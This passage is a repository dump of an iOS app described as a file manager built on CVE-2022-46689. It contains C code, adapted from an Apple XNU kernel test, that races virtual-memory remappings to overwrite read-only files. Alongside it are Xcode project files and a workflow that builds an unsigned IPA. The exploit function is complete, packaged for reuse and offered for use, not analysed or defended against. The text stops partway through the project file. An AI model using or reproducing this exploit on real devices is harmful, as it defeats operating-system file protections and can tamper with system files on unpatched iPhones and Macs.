├── README.md ├── files ├── Assets.xcassets │ ├── Contents.json │ ├── AccentColor.colorset │ │ └── Contents.json │ └── AppIcon.appiconset │ │ └── Contents.json ├── Preview Content │ └── Preview Assets.xcassets │ │ └── Contents.json ├── files-Bridging-Header.h ├── filesApp.swift ├── vm_unaligned_copy_switch_race.h ├── vm_unaligned_copy_switch_race.c └── ContentView.swift ├── files.xcodeproj ├── project.xcworkspace │ ├── contents.xcworkspacedata │ └── xcshareddata │ │ └── IDEWorkspaceChecks.plist ├── xcuserdata │ └── mineek.xcuserdatad │ │ └── xcschemes │ │ └── xcschememanagement.plist ├── xcshareddata │ └── xcschemes │ │ └── files.xcscheme └── project.pbxproj └── .github └── workflows └── ipa.yml /README.md: -------------------------------------------------------------------------------- 1 | # FileManager 2 | Hacked together File Manager for CVE-2022-46689 3 | -------------------------------------------------------------------------------- /files/Assets.xcassets/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : { 3 | "author" : "xcode", 4 | "version" : 1 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /files/Preview Content/Preview Assets.xcassets/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : { 3 | "author" : "xcode", 4 | "version" : 1 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /files/files-Bridging-Header.h: -------------------------------------------------------------------------------- 1 | // 2 | // Use this file to import your target's public headers that you would like to expose to Swift. 3 | // 4 | 5 | #import "vm_unaligned_copy_switch_race.h" 6 | -------------------------------------------------------------------------------- /files.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /files/Assets.xcassets/AccentColor.colorset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "colors" : [ 3 | { 4 | "idiom" : "universal" 5 | } 6 | ], 7 | "info" : { 8 | "author" : "xcode", 9 | "version" : 1 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /files/Assets.xcassets/AppIcon.appiconset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "platform" : "ios", 6 | "size" : "1024x1024" 7 | } 8 | ], 9 | "info" : { 10 | "author" : "xcode", 11 | "version" : 1 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /files/filesApp.swift: -------------------------------------------------------------------------------- 1 | // 2 | // filesApp.swift 3 | // files 4 | // 5 | // Created by Mineek on 28/12/2022. 6 | // 7 | 8 | import SwiftUI 9 | 10 | @main 11 | struct filesApp: App { 12 | var body: some Scene { 13 | WindowGroup { 14 | ContentView() 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /files.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | IDEDidComputeMac32BitWarning 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /files/vm_unaligned_copy_switch_race.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | /// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`. 5 | /// `page_to_overwrite` should be a page aligned `PROT_READ` `MAP_SHARED` region. `` 6 | /// `overwrite_length` must be less than or equal to `PAGE_LENGTH - 1`. 7 | /// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable. 8 | bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length); 9 | -------------------------------------------------------------------------------- /files.xcodeproj/xcuserdata/mineek.xcuserdatad/xcschemes/xcschememanagement.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SchemeUserState 6 | 7 | files.xcscheme_^#shared#^_ 8 | 9 | orderHint 10 | 0 11 | 12 | 13 | SuppressBuildableAutocreation 14 | 15 | 6F2E69B2295CE65B007338D8 16 | 17 | primary 18 | 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /.github/workflows/ipa.yml: -------------------------------------------------------------------------------- 1 | name: Build and upload IPA 2 | 3 | on: 4 | push: 5 | workflow_dispatch: 6 | 7 | jobs: 8 | build: 9 | runs-on: macos-latest 10 | steps: 11 | - name: Checkout 12 | uses: actions/checkout@v3 13 | 14 | - name: Build IPA 15 | run: | 16 | xcodebuild -project files.xcodeproj -scheme files -sdk iphoneos -configuration Release CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO CODE_SIGNING_ALLOWED=NO -derivedDataPath build 17 | mkdir -p Payload 18 | cp -r build/Build/Products/Release-iphoneos/files.app Payload/ 19 | zip -r files.ipa Payload 20 | 21 | - name: Upload IPA 22 | uses: actions/upload-artifact@v2 23 | with: 24 | name: files.ipa 25 | path: files.ipa -------------------------------------------------------------------------------- /files.xcodeproj/xcshareddata/xcschemes/files.xcscheme: -------------------------------------------------------------------------------- 1 | 2 | 5 | 8 | 9 | 15 | 21 | 22 | 23 | 24 | 25 | 30 | 31 | 32 | 33 | 43 | 45 | 51 | 52 | 53 | 54 | 60 | 62 | 68 | 69 | 70 | 71 | 73 | 74 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /files/vm_unaligned_copy_switch_race.c: -------------------------------------------------------------------------------- 1 | // from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c 2 | // modified to compile outside of XNU 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | #include "vm_unaligned_copy_switch_race.h" 16 | 17 | #define T_QUIET 18 | #define T_EXPECT_MACH_SUCCESS(a, b) 19 | #define T_EXPECT_MACH_ERROR(a, b, c) 20 | #define T_ASSERT_MACH_SUCCESS(a, b, ...) 21 | #define T_ASSERT_MACH_ERROR(a, b, c) 22 | #define T_ASSERT_POSIX_SUCCESS(a, b) 23 | #define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) 24 | #define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) 25 | #define T_ASSERT_TRUE(a, b, ...) 26 | #define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) 27 | #define T_DECL(a, b) static void a(void) 28 | #define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) 29 | 30 | struct context1 { 31 | vm_size_t obj_size; 32 | vm_address_t e0; 33 | mach_port_t mem_entry_ro; 34 | mach_port_t mem_entry_rw; 35 | dispatch_semaphore_t running_sem; 36 | pthread_mutex_t mtx; 37 | volatile bool done; 38 | }; 39 | 40 | static void * 41 | switcheroo_thread(__unused void *arg) 42 | { 43 | kern_return_t kr; 44 | struct context1 *ctx; 45 | 46 | ctx = (struct context1 *)arg; 47 | /* tell main thread we're ready to run */ 48 | dispatch_semaphore_signal(ctx->running_sem); 49 | while (!ctx->done) { 50 | /* wait for main thread to be done setting things up */ 51 | pthread_mutex_lock(&ctx->mtx); 52 | if (ctx->done) { 53 | pthread_mutex_unlock(&ctx->mtx); 54 | break; 55 | } 56 | /* switch e0 to RW mapping */ 57 | kr = vm_map(mach_task_self(), 58 | &ctx->e0, 59 | ctx->obj_size, 60 | 0, /* mask */ 61 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, 62 | ctx->mem_entry_rw, 63 | 0, 64 | FALSE, /* copy */ 65 | VM_PROT_READ | VM_PROT_WRITE, 66 | VM_PROT_READ | VM_PROT_WRITE, 67 | VM_INHERIT_DEFAULT); 68 | T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW"); 69 | /* wait a little bit */ 70 | usleep(100); 71 | /* switch bakc to original RO mapping */ 72 | kr = vm_map(mach_task_self(), 73 | &ctx->e0, 74 | ctx->obj_size, 75 | 0, /* mask */ 76 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, 77 | ctx->mem_entry_ro, 78 | 0, 79 | FALSE, /* copy */ 80 | VM_PROT_READ, 81 | VM_PROT_READ, 82 | VM_INHERIT_DEFAULT); 83 | T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO"); 84 | /* tell main thread we're don switching mappings */ 85 | pthread_mutex_unlock(&ctx->mtx); 86 | usleep(100); 87 | } 88 | return NULL; 89 | } 90 | 91 | bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) { 92 | bool retval = false; 93 | pthread_t th = NULL; 94 | int ret; 95 | kern_return_t kr; 96 | time_t start, duration; 97 | #if 0 98 | mach_msg_type_number_t cow_read_size; 99 | #endif 100 | vm_size_t copied_size; 101 | int loops; 102 | vm_address_t e2, e5; 103 | struct context1 context1, *ctx; 104 | int kern_success = 0, kern_protection_failure = 0, kern_other = 0; 105 | vm_address_t ro_addr, tmp_addr; 106 | memory_object_size_t mo_size; 107 | 108 | ctx = &context1; 109 | ctx->obj_size = 256 * 1024; 110 | 111 | void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset); 112 | if (file_mapped == MAP_FAILED) { 113 | fprintf(stderr, "failed to map\n"); 114 | return false; 115 | } 116 | if (!memcmp(file_mapped, overwrite_data, overwrite_length)) { 117 | fprintf(stderr, "already the same?\n"); 118 | munmap(file_mapped, ctx->obj_size); 119 | return true; 120 | } 121 | ro_addr = file_mapped; 122 | 123 | ctx->e0 = 0; 124 | ctx->running_sem = dispatch_semaphore_create(0); 125 | T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create"); 126 | ret = pthread_mutex_init(&ctx->mtx, NULL); 127 | T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init"); 128 | ctx->done = false; 129 | ctx->mem_entry_rw = MACH_PORT_NULL; 130 | ctx->mem_entry_ro = MACH_PORT_NULL; 131 | #if 0 132 | /* allocate our attack target memory */ 133 | kr = vm_allocate(mach_task_self(), 134 | &ro_addr, 135 | ctx->obj_size, 136 | VM_FLAGS_ANYWHERE); 137 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr"); 138 | /* initialize to 'A' */ 139 | memset((char *)ro_addr, 'A', ctx->obj_size); 140 | #endif 141 | 142 | /* make it read-only */ 143 | kr = vm_protect(mach_task_self(), 144 | ro_addr, 145 | ctx->obj_size, 146 | TRUE, /* set_maximum */ 147 | VM_PROT_READ); 148 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr"); 149 | /* make sure we can't get read-write handle on that target memory */ 150 | mo_size = ctx->obj_size; 151 | kr = mach_make_memory_entry_64(mach_task_self(), 152 | &mo_size, 153 | ro_addr, 154 | MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, 155 | &ctx->mem_entry_ro, 156 | MACH_PORT_NULL); 157 | T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO"); 158 | /* take read-only handle on that target memory */ 159 | mo_size = ctx->obj_size; 160 | kr = mach_make_memory_entry_64(mach_task_self(), 161 | &mo_size, 162 | ro_addr, 163 | MAP_MEM_VM_SHARE | VM_PROT_READ, 164 | &ctx->mem_entry_ro, 165 | MACH_PORT_NULL); 166 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO"); 167 | T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); 168 | /* make sure we can't map target memory as writable */ 169 | tmp_addr = 0; 170 | kr = vm_map(mach_task_self(), 171 | &tmp_addr, 172 | ctx->obj_size, 173 | 0, /* mask */ 174 | VM_FLAGS_ANYWHERE, 175 | ctx->mem_entry_ro, 176 | 0, 177 | FALSE, /* copy */ 178 | VM_PROT_READ, 179 | VM_PROT_READ | VM_PROT_WRITE, 180 | VM_INHERIT_DEFAULT); 181 | T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); 182 | tmp_addr = 0; 183 | kr = vm_map(mach_task_self(), 184 | &tmp_addr, 185 | ctx->obj_size, 186 | 0, /* mask */ 187 | VM_FLAGS_ANYWHERE, 188 | ctx->mem_entry_ro, 189 | 0, 190 | FALSE, /* copy */ 191 | VM_PROT_READ | VM_PROT_WRITE, 192 | VM_PROT_READ | VM_PROT_WRITE, 193 | VM_INHERIT_DEFAULT); 194 | T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); 195 | 196 | /* allocate a source buffer for the unaligned copy */ 197 | kr = vm_allocate(mach_task_self(), 198 | &e5, 199 | ctx->obj_size, 200 | VM_FLAGS_ANYWHERE); 201 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5"); 202 | /* initialize to 'C' */ 203 | memset((char *)e5, 'C', ctx->obj_size); 204 | 205 | char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - overwrite_length); 206 | memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length); 207 | 208 | int overwrite_first_diff_offset = -1; 209 | char overwrite_first_diff_value = 0; 210 | for (int off = 0; off < overwrite_length; off++) { 211 | if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) { 212 | overwrite_first_diff_offset = off; 213 | overwrite_first_diff_value = ((char*)ro_addr)[off]; 214 | } 215 | } 216 | if (overwrite_first_diff_offset == -1) { 217 | fprintf(stderr, "no diff?\n"); 218 | return false; 219 | } 220 | 221 | /* 222 | * get a handle on some writable memory that will be temporarily 223 | * switched with the read-only mapping of our target memory to try 224 | * and trick copy_unaligned to write to our read-only target. 225 | */ 226 | tmp_addr = 0; 227 | kr = vm_allocate(mach_task_self(), 228 | &tmp_addr, 229 | ctx->obj_size, 230 | VM_FLAGS_ANYWHERE); 231 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory"); 232 | /* initialize to 'D' */ 233 | memset((char *)tmp_addr, 'D', ctx->obj_size); 234 | /* get a memory entry handle for that RW memory */ 235 | mo_size = ctx->obj_size; 236 | kr = mach_make_memory_entry_64(mach_task_self(), 237 | &mo_size, 238 | tmp_addr, 239 | MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, 240 | &ctx->mem_entry_rw, 241 | MACH_PORT_NULL); 242 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW"); 243 | T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); 244 | kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size); 245 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr); 246 | tmp_addr = 0; 247 | 248 | pthread_mutex_lock(&ctx->mtx); 249 | 250 | /* start racing thread */ 251 | ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx); 252 | T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create"); 253 | 254 | /* wait for racing thread to be ready to run */ 255 | dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER); 256 | 257 | duration = 10; /* 10 seconds */ 258 | T_LOG("Testing for %ld seconds...", duration); 259 | for (start = time(NULL), loops = 0; 260 | time(NULL) < start + duration; 261 | loops++) { 262 | /* reserve space for our 2 contiguous allocations */ 263 | e2 = 0; 264 | kr = vm_allocate(mach_task_self(), 265 | &e2, 266 | 2 * ctx->obj_size, 267 | VM_FLAGS_ANYWHERE); 268 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0"); 269 | 270 | /* make 1st allocation in our reserved space */ 271 | kr = vm_allocate(mach_task_self(), 272 | &e2, 273 | ctx->obj_size, 274 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240)); 275 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2"); 276 | /* initialize to 'B' */ 277 | memset((char *)e2, 'B', ctx->obj_size); 278 | 279 | /* map our read-only target memory right after */ 280 | ctx->e0 = e2 + ctx->obj_size; 281 | kr = vm_map(mach_task_self(), 282 | &ctx->e0, 283 | ctx->obj_size, 284 | 0, /* mask */ 285 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241), 286 | ctx->mem_entry_ro, 287 | 0, 288 | FALSE, /* copy */ 289 | VM_PROT_READ, 290 | VM_PROT_READ, 291 | VM_INHERIT_DEFAULT); 292 | T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro"); 293 | 294 | /* let the racing thread go */ 295 | pthread_mutex_unlock(&ctx->mtx); 296 | /* wait a little bit */ 297 | usleep(100); 298 | 299 | /* trigger copy_unaligned while racing with other thread */ 300 | kr = vm_read_overwrite(mach_task_self(), 301 | e5, 302 | ctx->obj_size, 303 | e2 + overwrite_length, 304 | &copied_size); 305 | T_QUIET; 306 | T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE, 307 | "vm_read_overwrite kr %d", kr); 308 | switch (kr) { 309 | case KERN_SUCCESS: 310 | /* the target was RW */ 311 | kern_success++; 312 | break; 313 | case KERN_PROTECTION_FAILURE: 314 | /* the target was RO */ 315 | kern_protection_failure++; 316 | break; 317 | default: 318 | /* should not happen */ 319 | kern_other++; 320 | break; 321 | } 322 | /* check that our read-only memory was not modified */ 323 | #if 0 324 | T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified"); 325 | #endif 326 | bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value; 327 | 328 | /* tell racing thread to stop toggling mappings */ 329 | pthread_mutex_lock(&ctx->mtx); 330 | 331 | /* clean up before next loop */ 332 | vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size); 333 | ctx->e0 = 0; 334 | vm_deallocate(mach_task_self(), e2, ctx->obj_size); 335 | e2 = 0; 336 | if (!is_still_equal) { 337 | retval = true; 338 | fprintf(stderr, "RO mapping was modified\n"); 339 | break; 340 | } 341 | } 342 | 343 | ctx->done = true; 344 | pthread_mutex_unlock(&ctx->mtx); 345 | pthread_join(th, NULL); 346 | 347 | kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw); 348 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)"); 349 | kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro); 350 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)"); 351 | kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size); 352 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)"); 353 | kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size); 354 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)"); 355 | 356 | #if 0 357 | T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", 358 | kern_success, kern_protection_failure, kern_other); 359 | T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); 360 | #endif 361 | return retval; 362 | } 363 | -------------------------------------------------------------------------------- /files.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 56; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | 6F2E69B7295CE65B007338D8 /* filesApp.swift in Sources */ = {isa = PBXBuildFile; fileRef = 6F2E69B6295CE65B007338D8 /* filesApp.swift */; }; 11 | 6F2E69B9295CE65B007338D8 /* ContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 6F2E69B8295CE65B007338D8 /* ContentView.swift */; }; 12 | 6F2E69BB295CE65D007338D8 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 6F2E69BA295CE65D007338D8 /* Assets.xcassets */; }; 13 | 6F2E69BE295CE65D007338D8 /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 6F2E69BD295CE65D007338D8 /* Preview Assets.xcassets */; }; 14 | 6F2E69C7295CEC7C007338D8 /* vm_unaligned_copy_switch_race.c in Sources */ = {isa = PBXBuildFile; fileRef = 6F2E69C5295CEC7B007338D8 /* vm_unaligned_copy_switch_race.c */; }; 15 | /* End PBXBuildFile section */ 16 | 17 | /* Begin PBXFileReference section */ 18 | 6F2E69B3295CE65B007338D8 /* files.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = files.app; sourceTree = BUILT_PRODUCTS_DIR; }; 19 | 6F2E69B6295CE65B007338D8 /* filesApp.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = filesApp.swift; sourceTree = ""; }; 20 | 6F2E69B8295CE65B007338D8 /* ContentView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ContentView.swift; sourceTree = ""; }; 21 | 6F2E69BA295CE65D007338D8 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; 22 | 6F2E69BD295CE65D007338D8 /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = ""; }; 23 | 6F2E69C4295CEC7B007338D8 /* files-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "files-Bridging-Header.h"; sourceTree = ""; }; 24 | 6F2E69C5295CEC7B007338D8 /* vm_unaligned_copy_switch_race.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unaligned_copy_switch_race.c; sourceTree = ""; }; 25 | 6F2E69C6295CEC7C007338D8 /* vm_unaligned_copy_switch_race.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unaligned_copy_switch_race.h; sourceTree = ""; }; 26 | /* End PBXFileReference section */ 27 | 28 | /* Begin PBXFrameworksBuildPhase section */ 29 | 6F2E69B0295CE65B007338D8 /* Frameworks */ = { 30 | isa = PBXFrameworksBuildPhase; 31 | buildActionMask = 2147483647; 32 | files = ( 33 | ); 34 | runOnlyForDeploymentPostprocessing = 0; 35 | }; 36 | /* End PBXFrameworksBuildPhase section */ 37 | 38 | /* Begin PBXGroup section */ 39 | 6F2E69AA295CE65B007338D8 = { 40 | isa = PBXGroup; 41 | children = ( 42 | 6F2E69B5295CE65B007338D8 /* files */, 43 | 6F2E69B4295CE65B007338D8 /* Products */, 44 | ); 45 | sourceTree = ""; 46 | }; 47 | 6F2E69B4295CE65B007338D8 /* Products */ = { 48 | isa = PBXGroup; 49 | children = ( 50 | 6F2E69B3295CE65B007338D8 /* files.app */, 51 | ); 52 | name = Products; 53 | sourceTree = ""; 54 | }; 55 | 6F2E69B5295CE65B007338D8 /* files */ = { 56 | isa = PBXGroup; 57 | children = ( 58 | 6F2E69C5295CEC7B007338D8 /* vm_unaligned_copy_switch_race.c */, 59 | 6F2E69C6295CEC7C007338D8 /* vm_unaligned_copy_switch_race.h */, 60 | 6F2E69B6295CE65B007338D8 /* filesApp.swift */, 61 | 6F2E69B8295CE65B007338D8 /* ContentView.swift */, 62 | 6F2E69BA295CE65D007338D8 /* Assets.xcassets */, 63 | 6F2E69BC295CE65D007338D8 /* Preview Content */, 64 | 6F2E69C4295CEC7B007338D8 /* files-Bridging-Header.h */, 65 | ); 66 | path = files; 67 | sourceTree = ""; 68 | }; 69 | 6F2E69BC295CE65D007338D8 /* Preview Content */ = { 70 | isa = PBXGroup; 71 | children = ( 72 | 6F2E69BD295CE65D007338D8 /* Preview Assets.xcassets */, 73 | ); 74 | path = "Preview Content"; 75 | sourceTree = ""; 76 | }; 77 | /* End PBXGroup section */ 78 | 79 | /* Begin PBXNativeTarget section */ 80 | 6F2E69B2295CE65B007338D8 /* files */ = { 81 | isa = PBXNativeTarget; 82 | buildConfigurationList = 6F2E69C1295CE65D007338D8 /* Build configuration list for PBXNativeTarget "files" */; 83 | buildPhases = ( 84 | 6F2E69AF295CE65B007338D8 /* Sources */, 85 | 6F2E69B0295CE65B007338D8 /* Frameworks */, 86 | 6F2E69B1295CE65B007338D8 /* Resources */, 87 | ); 88 | buildRules = ( 89 | ); 90 | dependencies = ( 91 | ); 92 | name = files; 93 | productName = files; 94 | productReference = 6F2E69B3295CE65B007338D8 /* files.app */; 95 | productType = "com.apple.product-type.application"; 96 | }; 97 | /* End PBXNativeTarget section */ 98 | 99 | /* Begin PBXProject section */ 100 | 6F2E69AB295CE65B007338D8 /* Project object */ = { 101 | isa = PBXProject; 102 | attributes = { 103 | BuildIndependentTargetsInParallel = 1; 104 | LastSwiftUpdateCheck = 1420; 105 | LastUpgradeCheck = 1420; 106 | TargetAttributes = { 107 | 6F2E69B2295CE65B007338D8 = { 108 | CreatedOnToolsVersion = 14.2; 109 | LastSwiftMigration = 1420; 110 | }; 111 | }; 112 | }; 113 | buildConfigurationList = 6F2E69AE295CE65B007338D8 /* Build configuration list for PBXProject "files" */; 114 | compatibilityVersion = "Xcode 14.0"; 115 | developmentRegion = en; 116 | hasScannedForEncodings = 0; 117 | knownRegions = ( 118 | en, 119 | Base, 120 | ); 121 | mainGroup = 6F2E69AA295CE65B007338D8; 122 | productRefGroup = 6F2E69B4295CE65B007338D8 /* Products */; 123 | projectDirPath = ""; 124 | projectRoot = ""; 125 | targets = ( 126 | 6F2E69B2295CE65B007338D8 /* files */, 127 | ); 128 | }; 129 | /* End PBXProject section */ 130 | 131 | /* Begin PBXResourcesBuildPhase section */ 132 | 6F2E69B1295CE65B007338D8 /* Resources */ = { 133 | isa = PBXResourcesBuildPhase; 134 | buildActionMask = 2147483647; 135 | files = ( 136 | 6F2E69BE295CE65D007338D8 /* Preview Assets.xcassets in Resources */, 137 | 6F2E69BB295CE65D007338D8 /* Assets.xcassets in Resources */, 138 | ); 139 | runOnlyForDeploymentPostprocessing = 0; 140 | }; 141 | /* End PBXResourcesBuildPhase section */ 142 | 143 | /* Begin PBXSourcesBuildPhase section */ 144 | 6F2E69AF295CE65B007338D8 /* Sources */ = { 145 | isa = PBXSourcesBuildPhase; 146 | buildActionMask = 2147483647; 147 | files = ( 148 | 6F2E69B9295CE65B007338D8 /* ContentView.swift in Sources */, 149 | 6F2E69B7295CE65B007338D8 /* filesApp.swift in Sources */, 150 | 6F2E69C7295CEC7C007338D8 /* vm_unaligned_copy_switch_race.c in Sources */, 151 | ); 152 | runOnlyForDeploymentPostprocessing = 0; 153 | }; 154 | /* End PBXSourcesBuildPhase section */ 155 | 156 | /* Begin XCBuildConfiguration section */ 157 | 6F2E69BF295CE65D007338D8 /* Debug */ = { 158 | isa = XCBuildConfiguration; 159 | buildSettings = { 160 | ALWAYS_SEARCH_USER_PATHS = NO; 161 | CLANG_ANALYZER_NONNULL = YES; 162 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 163 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; 164 | CLANG_ENABLE_MODULES = YES; 165 | CLANG_ENABLE_OBJC_ARC = YES; 166 | CLANG_ENABLE_OBJC_WEAK = YES; 167 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 168 | CLANG_WARN_BOOL_CONVERSION = YES; 169 | CLANG_WARN_COMMA = YES; 170 | CLANG_WARN_CONSTANT_CONVERSION = YES; 171 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 172 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 173 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 174 | CLANG_WARN_EMPTY_BODY = YES; 175 | CLANG_WARN_ENUM_CONVERSION = YES; 176 | CLANG_WARN_INFINITE_RECURSION = YES; 177 | CLANG_WARN_INT_CONVERSION = YES; 178 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 179 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 180 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 181 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 182 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; 183 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 184 | CLANG_WARN_STRICT_PROTOTYPES = YES; 185 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 186 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 187 | CLANG_WARN_UNREACHABLE_CODE = YES; 188 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 189 | COPY_PHASE_STRIP = NO; 190 | DEBUG_INFORMATION_FORMAT = dwarf; 191 | ENABLE_STRICT_OBJC_MSGSEND = YES; 192 | ENABLE_TESTABILITY = YES; 193 | GCC_C_LANGUAGE_STANDARD = gnu11; 194 | GCC_DYNAMIC_NO_PIC = NO; 195 | GCC_NO_COMMON_BLOCKS = YES; 196 | GCC_OPTIMIZATION_LEVEL = 0; 197 | GCC_PREPROCESSOR_DEFINITIONS = ( 198 | "DEBUG=1", 199 | "$(inherited)", 200 | ); 201 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 202 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 203 | GCC_WARN_UNDECLARED_SELECTOR = YES; 204 | 